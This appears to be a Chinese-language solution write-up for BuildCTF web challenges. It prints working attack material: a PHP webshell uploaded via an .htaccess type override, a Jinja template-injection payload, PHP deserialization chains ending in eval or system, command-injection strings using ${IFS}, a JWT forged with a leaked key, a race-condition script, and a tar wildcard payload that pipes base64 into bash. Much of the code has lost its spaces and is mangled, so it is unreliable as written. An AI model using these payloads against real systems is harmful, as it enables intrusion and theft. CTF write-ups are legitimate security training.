babyupload
上传 .htaccess
AddType application/x-httpd-php .png
上传 1.png
GIF89a
<?=`$_POST[1]`;?>
就可以直接绕过进行命令执行拿到flag了
ez!http
一些http头的伪造
POST / HTTP/1.1
Host: []:42737
Content-Length: 9
Pragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
Origin: http://[]:42737
Content-Type: application/x-www-form-urlencoded
User-Agent: buildctf
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: blog.buildctf.vip
Accept-Encoding: gzip, deflate
Accept-Language: buildctf
x-forwarded-for: 127.0.0.1
Connection: close
Date: 2042.99.99
From: [email protected]
Via: buildctf.via
user=root&getFlag=This_is_flag
RedFlag
import flask
import os
app = flask.Flask(__name__)
app.config['FLAG']= os.getenv('FLAG')@app.route('/')defindex():returnopen(__file__).read()@app.route('/redflag/')defredflag(redflag):defsafe_jinja(payload):
payload = payload.replace('(','').replace(')','')
blacklist =['config','self']return''.join(['{{% set {}=None%}}'.format(c)for c in blacklist])+ payload
return flask.render_template_string(safe_jinja(redflag))
根据代码可知config里面存在flag, 获取config的值就行
利用flask里面的
get_flashed_messages
函数
payload:
url/redflag/{{get_flashed_messages.__globals__['current_app'].config}}
LovePopChain
<?phpclassMyObject{public$NoLove="Do_You_Want_Fl4g?";public$Forgzy;publicfunction__wakeup(){if($this->NoLove=="Do_You_Want_Fl4g?"){echo'Love but not getting it!!';}}publicfunction__invoke(){$this->Forgzy=clonenewGaoZhouYue();}}classGaoZhouYue{public$Yuer;public$LastOne;publicfunction__clone(){echo'最后一次了, 爱而不得, 未必就是遗憾~~';eval($_POST['y3y4']);}}classhybcx{public$JiuYue;public$Si;publicfunction__call($fun1,$arg){$this->Si->JiuYue=$arg[0];}publicfunction__toString(){$ai=$this->Si;echo'I W1ll remember you';return$ai();}}if(isset($_GET['No_Need.For.Love'])){
@unserialize($_GET['No_Need.For.Love']);}else{highlight_file(__FILE__);}
反序列化, 比较简单的利用
//poc链// MyObject::__wakeup -->hybcx::__toString() -->MyObject::__invoke() -->GaoZhouYue::__clone$a=newMyObject();$a->NoLove=newhybcx();$a->NoLove->Si=newMyObject();echourlencode(serialize($a));//y3y4=system("cat /ofl1111111111ove4g");
find-the-id
比较简单, bp直接爆破, 爆破相应的数字可以直接拿到flag
ez_md5
第一关: sql注入里面的md5加密的密码, 直接套万能密码传参
ffifdyop
第二关:
<?phperror_reporting(0);///robotshighlight_file(__FILE__);include("flag.php");$Build=$_GET['a'];$CTF=$_GET['b'];if($_REQUEST){foreach($_REQUESTas$value){if(preg_match('/[a-zA-Z]/i',$value))die('不可以哦!');}}if($Build!=$CTF&&md5($Build)==md5($CTF)){if(md5($_POST['Build_CTF.com'])=="3e41f780146b6c246cd49dd296a3da28"){echo$flag;}elsedie("再想想");}elsedie("不是吧这么简单的md5都过不去?");?>
需要爆破md5, 题目给了提示: md5(114514xxxxxxx)
直接爆它的md5值
<?php// 目标 MD5 哈希值$target_hash="3e41f780146b6c246cd49dd296a3da28";// 固定的前缀$prefix="114514";// 字符集$chars="0123456789";$length=7;// 生成所有可能的字符串functiongenerate_strings($chars,$length,$prefix){$count=strlen($chars);$total_combinations=pow($count,$length);for($i=0;$i<$total_combinations;$i++){$current=$prefix;$num=$i;for($j=0;$j<$length;$j++){$current.=$chars[$num%$count];$num=(int)($num/$count);}yield$current;}}foreach(generate_strings($chars,$length,$prefix)as$test_string){$hash=md5($test_string);if($hash===$target_hash){echo"Found: $test_string\n";break;}}//1145146803531
Why_so_serials?
<?phperror_reporting(0);highlight_file(__FILE__);include('flag.php');classGotham{public$Bruce;public$Wayne;public$crime=false;publicfunction__construct($Bruce,$Wayne){$this->Bruce=$Bruce;$this->Wayne=$Wayne;}}if(isset($_GET['Bruce'])&&isset($_GET['Wayne'])){$Bruce=$_GET['Bruce'];$Wayne=$_GET['Wayne'];$city=newGotham($Bruce,$Wayne);if(preg_match("/joker/",$Wayne)){$serial_city=str_replace('joker','batman',serialize($city));$boom=unserialize($serial_city);if($boom->crime){echo$flag;}}else{echo"no crime";}}else{echo"HAHAHAHA batman can't catch me!";}
反序列化字符串逃逸, 需要自己去构造, 数出需要逃逸出多少
<?phpclassGotham{public$Bruce;public$Wayne;public$crime=false;}$a=newGotham();$a->Bruce='1';$a->Wayne='jokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjokerjoker";s:5:"crime";b:1;}';//";s:5:"crime";b:1;} -->需要逃逸的$serial_city=str_replace('joker','batman',serialize($a));echo$serial_city;//batmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatmanbatman
tflock
/robots.txt
题目感觉有点抽象, 根据题目的提示: 题目名补充为true & false lock(真假锁定)
在拿题目给的密码字典爆破了两三次后就可以登录拿到flag了
sub
import datetime
import jwt
import os
import subprocess
from flask import Flask, jsonify, render_template, request, abort, redirect, url_for, flash, make_response
from werkzeug.security import generate_password_hash, check_password_hash
app = Flask(__name__)
app.secret_key ='BuildCTF'
app.config['JWT_SECRET_KEY']='BuildCTF'
DOCUMENT_DIR = os.path.abspath('src/docs')
users ={}
messages =[]@app.route('/message', methods=['GET','POST'])defmessage():if request.method =='POST':
name = request.form.get('name')
content = request.form.get('content')
messages.append({'name': name,'content': content})
flash('Message posted')return redirect(url_for('message'))return render_template('message.html', messages=messages)@app.route('/register', methods=['GET','POST'])defregister():if request.method =='POST':
username = request.form.get('username')
password = request.form.get('password')if username in users:
flash('Username already exists')return redirect(url_for('register'))
users[username]={'password': generate_password_hash(password),'role':'user'}
flash('User registered successfully')return redirect(url_for('login'))return render_template('register.html')@app.route('/login', methods=['POST','GET'])deflogin():if request.method =='POST':
username = request.form.get('username')
password = request.form.get('password')if username in users and check_password_hash(users[username]['password'], password):
access_token = jwt.encode({'sub': username,'role': users[username]['role'],'exp': datetime.datetime.utcnow()+ datetime.timedelta(minutes=30)}, app.config['JWT_SECRET_KEY'], algorithm='HS256')
response = make_response(render_template('page.html'))
response.set_cookie('jwt', access_token, httponly=True, secure=True, samesite='Lax',path='/')# response.set_cookie('jwt', access_token, httponly=True, secure=False, samesite='None',path='/')return response
else:return jsonify({"msg":"Invalid username or password"}),401return render_template('login.html')@app.route('/logout')deflogout():
resp = make_response(redirect(url_for('index')))
resp.set_cookie('jwt','', expires=0)
flash('You have been logged out')return resp
@app.route('/')defindex():return render_template('index.html')@app.route('/page')defpage():
jwt_token = request.cookies.get('jwt')if jwt_token:try:
payload = jwt.decode(jwt_token, app.config['JWT_SECRET_KEY'], algorithms=['HS256'])
current_user = payload['sub']
role = payload['role']except jwt.ExpiredSignatureError:return jsonify({"msg":"Token has expired"}),401except jwt.InvalidTokenError:return jsonify({"msg":"Invalid token"}),401except Exception as e:return jsonify({"msg":"Invalid or expired token"}),401if role !='admin'or current_user notin users:return abort(403,'Access denied')file= request.args.get('file','')
file_path = os.path.join(DOCUMENT_DIR,file)
file_path = os.path.normpath(file_path)ifnot file_path.startswith(DOCUMENT_DIR):return abort(400,'Invalid file name')try:
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)except subprocess.CalledProcessError as e:
content =str(e)except Exception as e:
content =str(e)return render_template('page.html', content=content)else:return abort(403,'Access denied')@app.route('/categories')defcategories():return render_template('categories.html', categories=['Web','Pwn','Misc','Re','Crypto'])if __name__ =='__main__':
app.run(host='0.0.0.0', port=5050)
审计一下代码, 直接利用给出的密钥生成role为admin的用户, 进入到 /page页面(在Cookie里面加上jwt的值)
content = subprocess.check_output(f'cat {file_path}', shell=True, text=True)
subprocess.check_output可以执行系统命令 , 利用file传参的值进行一个命令执行, 绕过一下(在bp里面做的)
/page?file=1;cd${IFS}..;cd${IFS}..;cd${IFS}..;cat${IFS}flag
我写的网站被rce了?
多个功能点都试试, 可以发现在查看日志的时候是会传参
log_type=access
查看
/var/log/nginx/access.log
日志, 可以控制查看日志的名字, 尝试输入一些其他的参数, 会发现存在一个过滤
根据题目的名字可能就是在这里存在一个rce,
可控的参数这里想要执行命令, 那么需要将它与它前面的值和后面的值给分隔开 , 可以用到 || (
%0a
也可以)
log_type=||whoami||
然后空格, cat啥的也被过滤了, 绕过一下就行
log_type=||ca''t${IFS}/f???||
刮刮乐
根据提示传参cmd , 以及修改请求头Referer
这道题有点懵,需要在后面加个
;
就可以直接执行命令
?cmd=cat /flag;
eazyl0gin
根据提示:
routes/users.js
router.post('/login',function(req,res,next){var data ={
username:String(req.body.username),
password:String(req.body.password)}const md5 = crypto.createHash('md5');const flag = process.env.flag
if(data.username.toLowerCase()==='buildctf'){return res.render('login',{data:"你不许用buildctf账户登陆"})}if(data.username.toUpperCase()!='BUILDCTF'){return res.render('login',{data:"只有buildctf这一个账户哦~"})}var md5pwd = md5.update(data.password).digest('hex')if(md5pwd.toLowerCase()!='b26230fafbc4b147ac48217291727c98'){return res.render('login',{data:"密码错误"})}return res.render('login',{data:flag})})
审计代码用户名会经过
toUpperCase()
满足与
BUILDCTF
相等就行
在js里面存在一个大小写转换的漏洞,也就是
对于toUpperCase(): 字符
"ı"
、
"ſ"
经过toUpperCase处理后结果为
"I"
、
"S"
对于toLowerCase(): 字符
"K"
经过toLowerCase处理后结果为
"k"
(前⾯这个K不是字⺟K)
通过这个绕过用户名, 然后密码给了一个md5值, 可以直接解出来是
012346
直接登录
buıldctf / 012346
就能拿到flag
Cookie_Factory
不太理解 , 贴一下官方wp
// your value is only updated server-side when the client
// acknowledges an error by sending the receivedError event
// so you can just disable this
// paste this into the JS console
socket.off('error');
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
socket.emit('click', JSON.stringify({"power":1e100, "value":send.value}));
// you have to send it twice since it only updates
// once the already-stored point value on the server side is
// more than 1e20
ez_waf
对文件的后缀名没有过滤, 可以直接上传
.php
文件, 但是对文件的内容过滤的比较死
搜索一下对文件内容绕过的方法
参考文章:
https://www.cnblogs.com/murkuo/p/15085555.html
最后提到了一种 填充垃圾数据,造成溢出后使WAF崩掉 , 从而绕过文件内容的检查
我直接在前面加了10000个a可以成功绕过, 访问 /uploads/1.php直接执行命令就行
(没有回显上传的路径, 盲猜uploads路径, 或者也可以目录扫描一下)
fake_signin
import time
from flask import Flask, render_template, redirect, url_for, session, request
from datetime import datetime
app = Flask(__name__)
app.secret_key ='BuildCTF'
CURRENT_DATE = datetime(2024,9,30)
users ={'admin':{'password':'admin','signins':{},'supplement_count':0,}}@app.route('/')defindex():if'user'in session:return redirect(url_for('view_signin'))return redirect(url_for('login'))@app.route('/login', methods=['GET','POST'])deflogin():if request.method =='POST':
username = request.form['username']
password = request.form['password']if username in users and users[username]['password']== password:
session['user']= username
return redirect(url_for('view_signin'))return render_template('login.html')@app.route('/view_signin')defview_signin():if'user'notin session:return redirect(url_for('login'))
user = users[session['user']]
signins = user['signins']
dates =[(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"), signins.get(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"),False))for i inrange(1,31)]
today = CURRENT_DATE.strftime("%Y-%m-%d")
today_signed_in = today in signins
iflen([d for d in signins.values()if d])>=30:return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in, flag="FLAG{test_flag}")return render_template('view_signin.html', dates=dates, today_signed_in=today_signed_in)@app.route('/signin')defsignin():if'user'notin session:return redirect(url_for('login'))
user = users[session['user']]
today = CURRENT_DATE.strftime("%Y-%m-%d")if today notin user['signins']:
user['signins'][today]=Truereturn redirect(url_for('view_signin'))@app.route('/supplement_signin', methods=['GET','POST'])defsupplement_signin():if'user'notin session:return redirect(url_for('login'))
user = users[session['user']]
supplement_message =""if request.method =='POST':
supplement_date = request.form.get('supplement_date')if supplement_date:if user['supplement_count']<1:
user['signins'][supplement_date]=True
user['supplement_count']+=1else:
supplement_message ="本月补签次数已用完。"else:
supplement_message ="请选择补签日期。"return redirect(url_for('view_signin'))
supplement_dates =[(CURRENT_DATE.replace(day=i).strftime("%Y-%m-%d"))for i inrange(1,31)]return render_template('supplement_signin.html', supplement_dates=supplement_dates, message=supplement_message)@app.route('/logout')deflogout():
session.pop('user',None)return redirect(url_for('login'))if __name__ =='__main__':
app.run(host='0.0.0.0', port=5051)
分析代码, 需要签到满30次以上才能够拿到flag, 但是我们只能签到一次, 补签一次
想要能够签到30次, 需要想办法补签的次数提高
在这个路由下
/supplement_signin
存在⼀个并发漏洞 ,
user['supplement_count']
是一个共享状态, 可以进行一个并发请求,
使得
user['supplement_count']
被多次更新绕过检查
写个代码并发执行一下, 登录后就可以看到flag了
import requests
import threading
url='http://27.25.151.80:45280/supplement_signin'
url_login='http://27.25.151.80:45280/login'
login_data={"username":"admin","password":"admin"}
datas=[f"2024-09-{i:02d}"for i inrange(1,31)]# print(datas)
session=requests.session()
session.post(url=url_login,data=login_data)defsupplement_signin(supplement_data):
data={"supplement_date":supplement_data}
res=session.post(url=url,data=data)print(res.status_code)
threads=[]for supplement_data in datas:
thread=threading.Thread(target=supplement_signin,args=(supplement_data,))
thread.start()
threads.append(thread)for thread in threads:
thread.join()
打包给你
关键代码
@app.route('/api/download', methods=['GET'])defdownload():@after_this_requestdefremove_file(response):
os.system(f"rm -rf uploads/{g.uuid}/out.tar")return response
# make a tar of all files
os.system(f"cd uploads/{g.uuid}/ && tar -cf out.tar *")# send tar to userreturn send_file(f"uploads/{g.uuid}/out.tar", as_attachment=True, download_name='download.tar', mimetype='application/octet-stream')
tar有通配符*的漏洞
可以参考文章:
https://www.cnblogs.com/jhinjax/p/17067082.html
通过控制文件名进行命令执行, 因为
..
和
/
被过滤, 使用
base64
进行绕过
–checkpoint-action选项,用于指定到达检查点时将要执行的程序,这将允许运行一个任意的命令
--checkpoint=1 ==> 作为文件名
ls /> $(pwd)/test.txt
--checkpoint-action=exec=echo bHMgLz4gJChwd2QpL3Rlc3QudHh0|base64 -d|bash ==> 作为文件名
第一次下载之后就会执行命令, 生成 test.txt文件, 然后第二次下载就可以看到test.txt文件里面列出来的根目录
然后替换命令
cat /Guess_my_name
就可以拿到flag了
版权归原作者 pwfortune 所有, 如有侵权,请联系我们删除。